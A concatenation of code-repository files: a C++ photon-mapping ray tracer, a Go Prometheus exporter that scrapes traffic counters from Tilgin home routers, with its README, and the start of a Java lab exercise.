/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iomanip \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/functional \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/fstream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/basic_file.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/fstream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cassert \
/usr/include/assert.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cmath \
/usr/include/math.h /usr/include/bits/huge_val.h \
/usr/include/bits/huge_valf.h /usr/include/bits/huge_vall.h \
/usr/include/bits/inf.h /usr/include/bits/nan.h \
/usr/include/bits/mathdef.h /usr/include/bits/mathcalls.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cmath.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/vector \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_vector.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_bvector.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/vector.tcc \
vector.h pixel.h camera.h light.h material.h object.h list.h plane.h \
model.h ray.h photon.h kdtree.h timer.h
<file_sep>/photon.cpp
#include <iostream>
#include <iomanip>
#include <fstream>
#include <string>
#include <cassert>
#include <cmath>
#include "vector.h"
#include "pixel.h"
#include "camera.h"
#include "light.h"
#include "material.h"
#include "object.h"
#include "list.h"
#include "plane.h"
#include "model.h"
#include "ray.h"
#include "photon.h"
vec_t photon_t::genrand_hemisphere()
{
double azimuth = genrand(0.0, 2.0 * M_PI);
double elevation = genrand(0.0, 2.0 * M_PI);
double sinA = sin(azimuth), sinE = sin(elevation);
double cosA = cos(azimuth), cosE = cos(elevation);
vec_t dir, vup;
dir[0] = -sinA * cosE; vup[0] = sinA * sinE;
dir[1] = sinE; vup[1] = cosE;
dir[2] = cosA * cosE; vup[2] = -cosA * sinE;
return(dir + vup);
}
bool photon_t::caustic(model_t& model, int bounce)
{
double rdis = 0.0;
double alpha, ior;
object_t *obj = NULL;
rgb_t<double> ambient, diffuse, specular;
material_t *mat;
vec_t N, hit, normal;
// prevent infinite loops
if(bounce > 5)
{ return(false); }
// get closest object, if any
if(!(obj = model.find_closest(pos, dir, rdis, hit, normal)) || dis > MAX_DIST)
{ return(false); }
// if hit distance valid
if(rdis > 0)
{
// accumulate distance travelled by ray
dis += rdis;
// get object material properties
if((mat = model.getmaterial(obj -> getmaterial())) != NULL)
{
ambient = mat -> getamb();
diffuse = mat -> getdiff();
specular = mat -> getspec();
alpha = mat -> getalpha();
ior = mat -> getior();
}
N = normal.norm(); // surf the normal
// Refraction
if(alpha > 0.0)
{
vec_t out;
out = (dir.dot(N)<0)?dir.defract(N, ior).norm():dir.defract(N*-1.0, 1/ior).norm();
pos = hit;
dir = out;
return(caustic(model, (bounce + 1)));
}
else
{
pos = hit;
return(true);
}
}
}
bool photon_t::global(model_t& model, int bounce)
{
double rdis = 0.0;
object_t *obj = NULL;
rgb_t<double> ambient, diffuse, specular;
material_t *mat;
vec_t N, hit, normal;
// prevent infinite loops
if(bounce > 5)
{ return(false); }
// get closest object, if any
if(!(obj = model.find_closest(pos,dir,rdis,hit,normal)) || dis > MAX_DIST)
{ return(false); }
// if hit distance is valid
if(rdis > 0)
{
// accumulate distance travelled by ray
dis += rdis;
// get object material properties
if((mat = model.getmaterial(obj->getmaterial())) != NULL)
{
ambient = mat -> getamb();
diffuse = mat -> getdiff();
specular = mat -> getspec();
}
N = normal.norm(); // surf normal
double roulette = genrand(0.0, 1.0);
double Kd = (diffuse[0] + diffuse[1] + diffuse[2])/3.0;
double Ks = (specular[0] + specular[1] + specular[2])/3.0;
// diffuse reflection
if( (0.0 < roulette) && (roulette < Kd))
{
// set pos and dir to hit and genrand_hemisphere().norm()
pos = hit;
dir = genrand_hemisphere().norm();
// reflect the photon
return global(model, (bounce + 1));
}
// specular reflection
else if( (Kd < roulette) && (roulette < Kd + Ks))
{
// set pos and dir to hit and dir.reflect(N);
pos = hit;
dir = dir.reflect(N);
// reflect the photon
return global(model, (bounce + 1));
}
// absorbtion ("stick" photon)
else if( (Kd + Ks < roulette) && (roulette < 1.0))
{
pos = hit;
return(true);
}
}
}
<file_sep>/ray.cpp
#include <iostream>
#include <iomanip>
#include <fstream>
#include <string>
#include <cassert>
#include <cmath>
#include "vector.h"
#include "pixel.h"
#include "camera.h"
#include "light.h"
#include "material.h"
#include "object.h"
#include "list.h"
#include "plane.h"
#include "model.h"
#include "photon.h"
#include "ray.h"
#include "kdtree.h"
void ray_t::trace(model_t& model,
rgb_t<double>& color,
int bounce)
{
// (static) object properties
object_t *obj=NULL;
rgb_t<double> ambient, diffuse, specular;
material_t *mat;
vec_t hit,N; // hit point and normal
float alpha, ior;
// light and illumination model variables
light_t *lgt=NULL;
vec_t L,V,R,H;
rgb_t<double> I_d, I_s;
double r,ndotl=0.0,n=32.0;
list_t<light_t* >::iterator litr;
// prevent infinite loops
if(bounce > 5) return;
// get closest object, if any
if(!(obj = model.find_closest(pos,dir,dis,hit,N)) || dis > MAX_DIST)
return;
// if hit distance valid, compute color at surface
if(dis > 0) {
// get object material properties
if((mat = model.getmaterial(obj->getmaterial())) != NULL) {
ambient = mat->getamb();
diffuse = mat->getdiff();
specular = mat->getspec();
alpha = mat->getalpha();
ior = mat->getior();
}
// ambient color
color += 1.0/dis * ambient; // ambient scaled by ray dist
// clamp resultant color
color.clamp(0.0,1.0);
// view direction (direction from hit point to camera)
V = -dir;
// diffuse component from each light...
if(!diffuse.iszero()) {
for(litr = model.lgts.begin(); litr != model.lgts.end(); litr++) {
// pointer to light
lgt = (light_t *)*litr;
// light direction and distance
L = lgt->getlocation() - hit;
r = L.len(); // distance to light
L = L.norm(); // dir to light
// angle with light
ndotl = N.dot(L);
// check visibility wrt light
if(0.0 < ndotl && ndotl < 1.0) {
// light color scaled by N . L
I_d = 1.0/r * ndotl * lgt->getcolor();
// add in diffuse contribution from light scaled by material property
color += (I_d * diffuse);
}
}
// clamp resultant color
color.clamp(0.0,1.0);
}
// reflection
if(!specular.iszero()) {
rgb_t<double> refcolor;
vec_t r = dir.reflect(N);
ray_t *reflection = new ray_t(hit,r,dis);
// trace the reflection
reflection->trace(model,refcolor, (bounce + 1));
delete reflection;
// composite surface color: blending baesd on surface properties
// (note that diffuse + specular should add up to 1)
color = (diffuse * color) + (specular * refcolor);
// clamp resultant color
color.clamp(0.0,1.0);
}
// transmission
if(alpha > 0.0) {
rgb_t<double> transmitted_color;
vec_t t;
// decide which N about which to refract
if(dir.dot(N) < .00001)
{ t = dir.refract(N, ior); }
else
{ t = dir.refract( -N, (1/ior) ); };
ray_t *refraction = new ray_t(hit,t,dis);
// trace the refraction
refraction->trace(model,transmitted_color, (bounce + 1));
delete refraction;
// composite surface color: blending baesd on surface properties
// (note that diffuse + specular should add up to 1)
color = (color * (1.0 - alpha)) + (transmitted_color * alpha);
// clamp resultant color
color.clamp(0.0,1.0);
}
// specular highlights
if(!specular.iszero()) {
// add in specular highlight from each light...
for(litr = model.lgts.begin(); litr != model.lgts.end(); litr++) {
// pointer to light
lgt = (light_t *)*litr;
// light direction and distance
L = lgt->getlocation() - hit;
r = L.len(); // distance to light
L = L.norm(); // dir to light
// angle with light
ndotl = N.dot(L);
// check visibility wrt light
if(0.0 < ndotl && ndotl < 1.0) {
// specular reflection direction (and bisector)
R = L.reflect(N);
// bisector (not used)
H = (0.5 * (L + V)).norm();
// light color scaled by (R . V)^n
I_s = 1.0/r * pow(R.dot(V),n) * lgt->getcolor();
// add in specular contribution from light scaled by material property
color += (I_s * specular);
}
// clamp resultant color
color.clamp(0.0,1.0);
}
}
}
}
void ray_t::trace(model_t& model,
rgb_t<double>& color,
int bounce,
kdtree_t<photon_t, photon_t*, photon_c> kdtree)
{
// (static) object properties
object_t *obj=NULL;
rgb_t<double> ambient, diffuse, specular;
material_t *mat;
vec_t hit,N; // hit point and normal
float alpha, ior;
// light and illumination model variables
light_t *lgt=NULL;
vec_t L,V,R,H;
rgb_t<double> I_d, I_s;
double r,ndotl=0.0,n=32.0;
list_t<light_t* >::iterator litr;
double radius(0.0);
std::vector<photon_t* > knearest;
// prevent infinite loops
if(bounce > 5) return;
// get closest object, if any
if(!(obj = model.find_closest(pos,dir,dis,hit,N)) || dis > MAX_DIST)
return;
// if hit distance valid, compute color at surface
if(dis > 0) {
// get object material properties
if((mat = model.getmaterial(obj->getmaterial())) != NULL) {
ambient = mat->getamb();
diffuse = mat->getdiff();
specular = mat->getspec();
alpha = mat->getalpha();
ior = mat->getior();
}
// ambient color
color += 1.0/dis * ambient; // ambient scaled by ray dist
// clamp resultant color
color.clamp(0.0,1.0);
// view direction (direction from hit point to camera)
V = -dir;
// diffuse component from each light...
if(!diffuse.iszero()) {
for(litr = model.lgts.begin(); litr != model.lgts.end(); litr++) {
// pointer to light
lgt = (light_t *)*litr;
// light direction and distance
L = lgt->getlocation() - hit;
r = L.len(); // distance to light
L = L.norm(); // dir to light
// angle with light
ndotl = N.dot(L);
// check visibility wrt light
if(0.0 < ndotl && ndotl < 1.0) {
// light color scaled by N . L
I_d = 1.0/r * ndotl * lgt->getcolor();
// add in diffuse contribution from light scaled by material property
color += (I_d * diffuse);
}
}
// clamp resultant color
color.clamp(0.0,1.0);
}
// reflection
if(!specular.iszero()) {
rgb_t<double> refcolor;
vec_t r = dir.reflect(N);
ray_t *reflection = new ray_t(hit,r,dis);
// trace the reflection
reflection->trace(model,refcolor, (bounce + 1), kdtree);
delete reflection;
// composite surface color: blending baesd on surface properties
// (note that diffuse + specular should add up to 1)
color = (diffuse * color) + (specular * refcolor);
// clamp resultant color
color.clamp(0.0,1.0);
}
// transmission
if(alpha > 0.0) {
rgb_t<double> transmitted_color;
vec_t t;
// decide which N about which to refract
if(dir.dot(N) < .00001)
{ t = dir.refract(N, ior); }
else
{ t = dir.refract( -N, (1/ior) ); };
ray_t *refraction = new ray_t(hit,t,dis);
// trace the refraction
refraction->trace(model,transmitted_color, (bounce + 1), kdtree);
delete refraction;
// composite surface color: blending baesd on surface properties
// (note that diffuse + specular should add up to 1)
color = (color * (1.0 - alpha)) + (transmitted_color * alpha);
// clamp resultant color
color.clamp(0.0,1.0);
}
// specular highlights
if(!specular.iszero()) {
// add in specular highlight from each light...
for(litr = model.lgts.begin(); litr != model.lgts.end(); litr++) {
// pointer to light
lgt = (light_t *)*litr;
// light direction and distance
L = lgt->getlocation() - hit;
r = L.len(); // distance to light
L = L.norm(); // dir to light
// angle with light
ndotl = N.dot(L);
// check visibility wrt light
if(0.0 < ndotl && ndotl < 1.0) {
// specular reflection direction (and bisector)
R = L.reflect(N);
// bisector (not used)
H = (0.5 * (L + V)).norm();
// light color scaled by (R . V)^n
I_s = 1.0/r * pow(R.dot(V),n) * lgt->getcolor();
// add in specular contribution from light scaled by material property
color += (I_s * specular);
}
// clamp resultant color
color.clamp(0.0,1.0);
}
}
}
/*
// flux computation
photon_t *query = new photon_t(hit, vec_t(0.0,0.0,0.0), 0.0);
kdtree.knn(*query, knearest, radius, 20);
rgb_t<double> flux(0.0,0.0,0.0);
rgb_t<double> tempcolor(0.0,0.0,0.0);
vec_t temp_pow;
vec_t temp_dir;
for(int i = 0; i < 20; i++)
{
temp_pow = knearest[i]->get_power();
temp_dir = knearest[i]->get_dir();
temp_dir = temp_dir.norm();
temp_dir *= vec_t(-1,-1,-1);
if(temp_dir.dot(N) > 0)
{
tempcolor[0] = temp_pow[0];
tempcolor[1] = temp_pow[1];
tempcolor[2] = temp_pow[2];
}
else
{ tempcolor[0] = 0; tempcolor[1] = 0; tempcolor[2] = 0; }
flux = flux + tempcolor;
}
flux[0] = flux[0] * (1 / (3.14 * pow(radius,2)));
flux[1] = flux[1] * (1 / (3.14 * pow(radius,2)));
flux[2] = flux[2] * (1 / (3.14 * pow(radius,2)));
color = color + flux;
color.clamp(0.0,1.0);
*/
}
|
fa329a8d5569e404e127eb8386a5469a035b04f3
|
[
"Makefile",
"C++"
] | 10 |
C++
|
amast09/RayTracer
|
5221e3ecf552dea44a964a0f0edb7cce495cd47c
|
cea95a60ae434a014a16f035a8c989dac9ff72f7
|
refs/heads/master
|
<repo_name>cheahjs/hyperoptic_tilgin_exporter<file_sep>/internal/tilgin/scraper.go
package tilgin
import (
"crypto/hmac"
"crypto/sha1"
"encoding/hex"
"fmt"
"io/ioutil"
"net/http"
"regexp"
"strconv"
"strings"
"sync"
"github.com/PuerkitoBio/goquery"
"github.com/gocolly/colly"
"github.com/pkg/errors"
"github.com/prometheus/client_golang/prometheus"
"go.uber.org/zap"
)
var (
hmacRegex = regexp.MustCompile(`__pass\.value,\s+"(\w+?)"`)
spaceRegex = regexp.MustCompile(`\s+`)
)
type Scraper struct {
logger *zap.SugaredLogger
username string
password string
routerHost string
txWANTrafficBytes *prometheus.Desc
txWANTrafficPackets *prometheus.Desc
rxWANTrafficBytes *prometheus.Desc
rxWANTrafficPackets *prometheus.Desc
txLANTrafficBytes *prometheus.Desc
txLANTrafficPackets *prometheus.Desc
rxLANTrafficBytes *prometheus.Desc
rxLANTrafficPackets *prometheus.Desc
mutex sync.Mutex
}
func NewScraper(logger *zap.SugaredLogger, username, password, routerHost string) *Scraper {
return &Scraper{
logger: logger,
username: username,
password: <PASSWORD>,
routerHost: routerHost,
txWANTrafficBytes: prometheus.NewDesc(
"tilgin_wan_tx_bytes",
"Total bytes sent on WAN interface",
nil, nil,
),
txWANTrafficPackets: prometheus.NewDesc(
"tilgin_wan_tx_packets",
"Total packets sent on WAN interface",
nil, nil,
),
rxWANTrafficBytes: prometheus.NewDesc(
"tilgin_wan_rx_bytes",
"Total bytes received on WAN interface",
nil, nil,
),
rxWANTrafficPackets: prometheus.NewDesc(
"tilgin_wan_rx_packets",
"Total packets received on WAN interface",
nil, nil,
),
txLANTrafficBytes: prometheus.NewDesc(
"tilgin_lan_tx_bytes",
"Total bytes sent on LAN interfaces",
[]string{"interface"}, nil,
),
txLANTrafficPackets: prometheus.NewDesc(
"tilgin_lan_tx_packets",
"Total packets sent on LAN interfaces",
[]string{"interface"}, nil,
),
rxLANTrafficBytes: prometheus.NewDesc(
"tilgin_lan_rx_bytes",
"Total bytes received on LAN interfaces",
[]string{"interface"}, nil,
),
rxLANTrafficPackets: prometheus.NewDesc(
"tilgin_lan_rx_packets",
"Total packets received on LAN interfaces",
[]string{"interface"}, nil,
),
}
}
func (s *Scraper) Collect(ch chan<- prometheus.Metric) {
_ = s.Scrape(ch)
}
func (s *Scraper) Describe(descs chan<- *prometheus.Desc) {
descs <- s.txWANTrafficBytes
descs <- s.txWANTrafficPackets
descs <- s.rxWANTrafficBytes
descs <- s.rxWANTrafficPackets
descs <- s.txLANTrafficBytes
descs <- s.txLANTrafficPackets
descs <- s.rxLANTrafficBytes
descs <- s.rxLANTrafficPackets
}
func (s *Scraper) Scrape(ch chan<- prometheus.Metric) error {
s.mutex.Lock()
defer s.mutex.Unlock()
s.logger.Info("Starting scrape")
hmacSecret, err := s.fetchHMACSecret()
if err != nil {
s.logger.Errorw("Failed to fetch hmac secret",
"error", err)
return errors.Wrap(err, "failed to fetch hmac secret")
}
c := colly.NewCollector()
// Auth
s.logger.Info("Authenticating")
err = c.Post(s.routerHost, map[string]string{
"__formtok": "",
"__auth": "login",
"__user": s.username,
"__hash": s.passwordHash(hmacSecret),
})
if err != nil {
s.logger.Errorw("Failed to auth",
"error", err)
return errors.Wrap(err, "failed to auth")
}
// Parse HTML
c.OnHTML("#content", func(element *colly.HTMLElement) {
node := element.DOM.Children()
currentLabel := ""
for {
if len(node.Nodes) == 0 {
break
}
topLevelNode := node.First()
if topLevelNode.Nodes[0].Data == "h2" {
currentLabel = trimAndCleanString(topLevelNode.Text())
} else if topLevelNode.Nodes[0].Data == "form" {
topLevelNode.
ChildrenFiltered("div.field").
Find("table > tbody > tr").
Each(
func(_ int, statNode *goquery.Selection) {
children := statNode.Children()
if children.Length() >= 2 {
s.parseReceiveStats(ch, currentLabel, children.Eq(0).Text(), children.Eq(1).Text())
}
if children.Length() >= 4 {
s.parseTransmitStats(ch, currentLabel, children.Eq(2).Text(), children.Eq(3).Text())
}
},
)
}
node = node.Next()
}
})
s.logger.Info("Fetching network stats")
err = c.Visit(fmt.Sprintf("%s/status/network", s.routerHost))
if err != nil {
s.logger.Errorw("Failed to visit network status page",
"error", err)
return errors.Wrap(err, "failed to visit network status page")
}
c.Wait()
return nil
}
func (s *Scraper) parseReceiveStats(ch chan<- prometheus.Metric, label, name, value string) {
receiveName := trimAndCleanString(name)
if receiveName == "" {
return
}
receiveValue, parseErr := strconv.ParseInt(trimAndCleanString(value), 10, 64)
if parseErr != nil {
s.logger.Errorw("Failed to parse value", "error", parseErr)
return
}
s.logger.Infof("Got Received %s: %s: %d", label, receiveName, receiveValue)
if strings.Contains(label, "WAN") {
if strings.Contains(receiveName, "Packets") {
ch <- prometheus.MustNewConstMetric(
s.rxWANTrafficPackets,
prometheus.CounterValue,
float64(receiveValue),
)
} else if strings.Contains(receiveName, "Bytes") {
ch <- prometheus.MustNewConstMetric(
s.rxWANTrafficBytes,
prometheus.CounterValue,
float64(receiveValue),
)
}
return
}
if strings.Contains(receiveName, "Packets") {
ch <- prometheus.MustNewConstMetric(
s.rxLANTrafficPackets,
prometheus.CounterValue,
float64(receiveValue),
label,
)
} else if strings.Contains(receiveName, "Bytes") {
ch <- prometheus.MustNewConstMetric(
s.rxLANTrafficBytes,
prometheus.CounterValue,
float64(receiveValue),
label,
)
}
}
func (s *Scraper) parseTransmitStats(ch chan<- prometheus.Metric, label, name, value string) {
transmitName := trimAndCleanString(name)
if transmitName == "" {
return
}
transmitValue, parseErr := strconv.ParseInt(trimAndCleanString(value), 10, 64)
if parseErr != nil {
s.logger.Errorw("Failed to parse value", "error", parseErr)
return
}
s.logger.Infof("Got Transmit %s: %s: %d", label, transmitName, transmitValue)
if strings.Contains(label, "WAN") {
if strings.Contains(transmitName, "Packets") {
ch <- prometheus.MustNewConstMetric(
s.txWANTrafficPackets,
prometheus.CounterValue,
float64(transmitValue),
)
} else if strings.Contains(transmitName, "Bytes") {
ch <- prometheus.MustNewConstMetric(
s.txWANTrafficBytes,
prometheus.CounterValue,
float64(transmitValue),
)
}
return
}
if strings.Contains(transmitName, "Packets") {
ch <- prometheus.MustNewConstMetric(
s.txLANTrafficPackets,
prometheus.CounterValue,
float64(transmitValue),
label,
)
} else if strings.Contains(transmitName, "Bytes") {
ch <- prometheus.MustNewConstMetric(
s.txLANTrafficBytes,
prometheus.CounterValue,
float64(transmitValue),
label,
)
}
}
func (s *Scraper) fetchHMACSecret() ([]byte, error) {
s.logger.Info("Fetching HMAC secret")
indexResp, err := http.Get(s.routerHost)
if err != nil {
s.logger.Errorw("Failed to get index page",
"error", err)
return nil, errors.Wrap(err, "failed to get index page")
}
body, err := ioutil.ReadAll(indexResp.Body)
if err != nil {
s.logger.Errorw("Failed to read body",
"error", err)
return nil, errors.Wrap(err, "failed to read body")
}
submatches := hmacRegex.FindStringSubmatch(string(body))
if len(submatches) != 2 {
s.logger.Error("Failed to extract hmac secret")
return nil, errors.New("failed to extract hmac secret")
}
return []byte(submatches[1]), nil
}
func (s *Scraper) passwordHash(hmacSecret []byte) string {
mac := hmac.New(sha1.New, hmacSecret)
mac.Write([]byte(s.username + s.password))
expectedMAC := mac.Sum(nil)
hexString := hex.EncodeToString(expectedMAC)
return hexString
}
func trimAndCleanString(s string) string {
return strings.TrimSpace(spaceRegex.ReplaceAllString(s, " "))
}
<file_sep>/README.md
# hyperoptic_tilgin_exporter
Prometheus exporter for Tilgin HG238x devices.
Only tested with Hyperoptic firmware.

## Running
### Building from source
```shell script
git clone https://github.com/cheahjs/hyperoptic_tilgin_exporter.git
cd hyperoptic_tilgin_exporter
go build -o hyperoptic_tilgin_exporter github.com/cheahjs/hyperoptic_tilgin_exporter/cmd/hyperoptic_tilgin_exporter
ROUTER_PASSWORD=<PASSWORD> ./hyperoptic_tilgin_exporter -username=admin -host=http://192.168.1.1 -listen-addr=:23465
```
### Docker
```shell script
docker run -e "ROUTER_PASSWORD=<PASSWORD>" -p 23465:23465 deathmax/hyperoptic_tilgin_exporter -username=admin -host=http://192.168.1.1 -listen-addr=:23465
```
## Exported Metrics
```
# HELP tilgin_lan_rx_bytes Total bytes received on LAN interfaces
# TYPE tilgin_lan_rx_bytes counter
# HELP tilgin_lan_rx_packets Total packets received on LAN interfaces
# TYPE tilgin_lan_rx_packets counter
# HELP tilgin_lan_tx_bytes Total bytes sent on LAN interfaces
# TYPE tilgin_lan_tx_bytes counter
# HELP tilgin_lan_tx_packets Total packets sent on LAN interfaces
# TYPE tilgin_lan_tx_packets counter
# HELP tilgin_wan_rx_bytes Total bytes received on WAN interface
# TYPE tilgin_wan_rx_bytes counter
# HELP tilgin_wan_rx_packets Total packets received on WAN interface
# TYPE tilgin_wan_rx_packets counter
# HELP tilgin_wan_tx_bytes Total bytes sent on WAN interface
# TYPE tilgin_wan_tx_bytes counter
# HELP tilgin_wan_tx_packets Total packets sent on WAN interface
# TYPE tilgin_wan_tx_packets counter
```
## Known Issues
1. On firmware `ESx000-02_10_05_16`, the statistics for the 5GHz radio and clients are unavailable.
|
75bb319c308d24a1f4ae53986067093701e4c200
|
[
"Markdown",
"Go"
] | 2 |
Go
|
cheahjs/hyperoptic_tilgin_exporter
|
bc267823d99cecb5c7cb331f28fdd83642cbd583
|
89bfb5930e8bb300282eff63f92942c8cd1db3fc
|
refs/heads/master
|
<repo_name>KhDuelistKh/libckit<file_sep>/include/ckit/debug.h
/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/*
* Macros for printing debug information, which can be disabled at
* compile time.
*
* Authors: <NAME> <<EMAIL>>
*
*/
#ifndef CKIT_DEBUG_H
#define CKIT_DEBUG_H
#include <stdio.h>
#include <errno.h>
#if defined(ANDROID)
#include <android/log.h>
#define __LOG(type, atype, format, ...) \
__android_log_print(atype, "ckit", "%s %s: "format, \
type, __func__, ##__VA_ARGS__)
#if defined(ENABLE_DEBUG)
#define LOG_DBG(format, ...) \
__LOG("DBG", ANDROID_LOG_DEBUG, format, ##__VA_ARGS__)
#else
#define LOG_DBG(format, ...)
#endif /* ENABLE_DEBUG */
#define LOG_ERR(format, ...) \
__LOG("ERR", ANDROID_LOG_ERROR, format, ##__VA_ARGS__)
#define LOG_INF(format, ...) \
__LOG("INF", ANDROID_LOG_INFO, format, ##__VA_ARGS__)
#else /* ANDROID */
#include <sys/time.h>
#define __LOG(type, format, ...) ({ \
struct timeval now; \
gettimeofday(&now, NULL); \
printf("%ld.%06ld %s %s: "format, (long)now.tv_sec, \
(long)now.tv_usec, type, __func__, ##__VA_ARGS__); \
})
#if defined(ENABLE_DEBUG)
#include <sys/time.h>
#define LOG_DBG(format, ...) \
__LOG("DBG", format, ##__VA_ARGS__)
#else
#define LOG_DBG(format, ...)
#endif /* ENABLE_DEBUG */
#define LOG_ERR(format, ...) \
__LOG("ERR", format, ##__VA_ARGS__)
#define LOG_INF(format, ...) \
__LOG("INF", format, ##__VA_ARGS__)
#endif /* ANDROID */
#endif /* CKIT_DEBUG_H */
|
821b46828d531aa9b92c8eae0ed70d831df8a56b
|
[
"C"
] | 1 |
C
|
KhDuelistKh/libckit
|
fa3d949488dffd49ced2dcc52a38607e145031a1
|
656f43eeb1c3eb9da0d1fa76099d6afdfc96127a
|
refs/heads/master
|
<repo_name>mbraga24/rails-cru-form_for-lab-nyc04-seng-ft-041920<file_sep>/db/seeds.rb
Artist.destroy_all
Genre.destroy_all
Song.destroy_all
# This file should contain all the record creation needed to seed the database with its default values.
# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
#
# Examples:
#
# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
# Mayor.create(name: 'Emanuel', city: cities.first)
theWeekend = Artist.create(name: "TheWeekend", bio: "He comes from Brazil and he's a lovely fella.")
pop = Genre.create(name: "Pop")
Song.create(
[
{
name: "Starboy",
artist_id: theWeekend.id,
genre_id: pop.id
}
]
)
puts "=========="
puts " SEEDED"
puts "=========="
|
7a31127bbd85e7d71e4e921c6b766462fb6d614d
|
[
"Ruby"
] | 1 |
Ruby
|
mbraga24/rails-cru-form_for-lab-nyc04-seng-ft-041920
|
50bb5f0fb90f2d463cdeaae2beb682d8240d06e7
|
b6b0a072037519c3a4765ac0c9d079750d9ca298
|
refs/heads/master
|
<file_sep>package capgemini.firstproject.welcome;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Scanner;
public class Labbook7_Seventh {
int size = 0;
public static void main(String[] args) {
// TODO Auto-generated method stub
Labbook7_Seventh mObject = new Labbook7_Seventh();
Scanner in = new Scanner(System.in);
